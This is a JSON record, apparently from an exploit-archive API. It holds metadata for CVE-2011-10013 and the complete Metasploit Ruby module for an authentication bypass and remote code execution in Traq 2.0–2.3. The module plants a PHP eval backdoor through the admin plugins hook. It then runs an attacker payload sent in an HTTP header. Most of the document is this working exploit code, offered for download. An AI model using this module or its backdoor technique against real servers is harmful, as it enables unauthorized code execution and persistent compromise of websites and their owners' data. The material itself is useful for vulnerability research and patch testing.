{"exploit":{"id":"EDB-18239","name":"Traq 2.3 - Authentication Bypass / Remote Code Execution (RCE) (Metasploit)","description":"Traq 2.3 - Authentication Bypass / Remote Code Execution (RCE) (Metasploit)","cves":["CVE-2011-10013"],"author":"Metasploit","published":"2011-12-13","platform":"php","type":"webapps","language":"Ruby","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/18239","path":"exploits/php/webapps/18239.rb","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-18239.rb","vulnerabilities":[{"id":"CVE-2011-10013","state":"PUBLISHED","title":"Traq 2.0–2.3 admincp/common.php RCE","titleSource":"CVE Program","description":"Traq versions 2.0 through 2.3 contain a remote code execution vulnerability in the admincp/common.php script. The flawed authorization logic fails to halt execution after a failed access check, allowing unauthenticated users to reach admin-only functionality. This can be exploited via plugins.php to inject and execute arbitrary PHP code.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2011-10013","cvss":{"version":"4.0","baseScore":10,"severity":"critical","vectorString":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","source":"VulnCheck","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2011-10013"},"updatedAt":"2026-07-31T11:54:01.954Z","retrievedAt":"2026-11-26T17:18:44.011Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-18239.png?v=2","url":"https://exploitbin.com/exploits/EDB-18239","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-18239/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-18239/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"##\n# This file is part of the Metasploit Framework and may be subject to\n# redistribution and commercial restrictions. Please see the Metasploit\n# Framework web site for more information on licensing and terms of use.\n# http://metasploit.com/framework/\n##\n\nrequire 'msf/core'\n\nclass Metasploit3 < Msf::Exploit::Remote\n\tRank = ExcellentRanking\n\n\tinclude Msf::Exploit::Remote::HttpClient\n\n\tdef initialize(info={})\n\t\tsuper(update_info(info,\n\t\t\t'Name'           => 'Traq <= 2.3 Authentication Bypass / Remote Code Execution Exploit',\n\t\t\t'Description'    => %q{\n\t\t\t\tThis module exploits an arbitrary command execution vulnerability in\n\t\t\t\tTraq 2.0 to 2.3. It's in the admincp/common.php script.\n\n\t\t\t\tThis function is called in each script located into /admicp/ directory to\n\t\t\t\tmake sure the user has admin rights, but this is a broken authorization\n\t\t\t\tschema due to the header() function doesn't stop the execution flow. This\n\t\t\t\tcan be exploited by malicious users to execute admin functionality resulting\n\t\t\t\tfor  e.g.  in execution of arbitrary PHP code leveraging of plugins.php\n\t\t\t\tfunctionality.\n\t\t\t},\n\t\t\t'License'        => MSF_LICENSE,\n\t\t\t'Author'         =>\n\t\t\t\t[\n\t\t\t\t\t'EgiX',  # Vulnerability discovery and exploit\n\t\t\t\t\t'TecR0c' # Metasploit Module\n\t\t\t\t],\n\t\t\t'References'     =>\n\t\t\t\t[\n\t\t\t\t\t[ 'URL', 'http://www.exploit-db.com/exploits/18213/' ],\n\t\t\t\t\t[ 'URL', 'http://traqproject.org/' ],\n\t\t\t\t],\n\t\t\t'Privileged'     => false,\n\t\t\t'Payload'        =>\n\t\t\t\t{\n\t\t\t\t\t'Keys'        => ['php'],\n\t\t\t\t\t'Space'       => 4000,\n\t\t\t\t\t'DisableNops' => true,\n\t\t\t\t},\n\t\t\t'Platform'       => ['php'],\n\t\t\t'Arch'           => ARCH_PHP,\n\t\t\t'Targets'        => [[ 'Automatic', {} ]],\n\t\t\t'DisclosureDate' => 'Dec 12 2011',\n\t\t\t'DefaultTarget'  => 0))\n\n\t\tregister_options(\n\t\t\t[\n\t\t\t\tOptString.new('URI', [true, \"The path to the Traq installation\", \"/\"]),\n\t\t\t],self.class)\n\tend\n\n\tdef check\n\t\turi = datastore['URI']\n\t\turi += (datastore['URI'][-1, 1] == \"/\") ? \"admincp/login.php\" : \"/admincp/login.php\"\n\n\t\tres = send_request_raw(\n\t\t\t{\n\t\t\t\t'uri'=> uri\n\t\t\t}, 25)\n\n\t\tif (res and res.body =~ /Powered by Traq 2.[0-3]/ )\n\t\t\treturn Exploit::CheckCode::Vulnerable\n\t\tend\n\t\treturn Exploit::CheckCode::Safe\n\tend\n\n\tdef exploit\n\t\tp = Rex::Text.encode_base64(payload.encoded)\n\n\t\turi = datastore['URI']\n\t\turi += (datastore['URI'][-1, 1] == \"/\") ? \"admincp/plugins.php?newhook\" : \"/admincp/plugins.php?newhook\"\n\n\t\tres = send_request_cgi(\n\t\t\t{\n\t\t\t\t'method'    => 'POST',\n\t\t\t\t'uri'       => uri,\n\t\t\t\t'vars_post' =>\n\t\t\t\t\t{\n\t\t\t\t\t\t'plugin_id' => '1',\n\t\t\t\t\t\t'title' => '1',\n\t\t\t\t\t\t'execorder' => '0',\n\t\t\t\t\t\t'hook' => 'template_footer',\n\t\t\t\t\t\t'code' => 'error_reporting(0);eval(base64_decode($_SERVER[HTTP_CMD]));die;'\n\t\t\t\t\t}\n\t\t\t}, 25)\n\n\t\turi = datastore['URI']\n\t\turi += (datastore['URI'][-1, 1] == \"/\") ? \"index.php\" : \"/index.php\"\n\n\t\tres = send_request_cgi(\n\t\t\t{\n\t\t\t\t'method'  => 'GET',\n\t\t\t\t'uri'     => uri,\n\t\t\t\t'headers' =>\n\t\t\t\t\t{\n\t\t\t\t\t\t'CMD' => p,\n\t\t\t\t\t\t'Connection' => 'Close',\n\t\t\t\t\t},\n\t\t\t}, 25)\n\tend\nend","sha256":"cdf6dfe2576790fcaa2b9d8c1d546571442302980467b9fa85ab4bf811de8948","bytes":2964,"fetchedAt":"2026-11-26T18:07:27.558Z","encoding":"utf-8 (display only; download retains original bytes)"}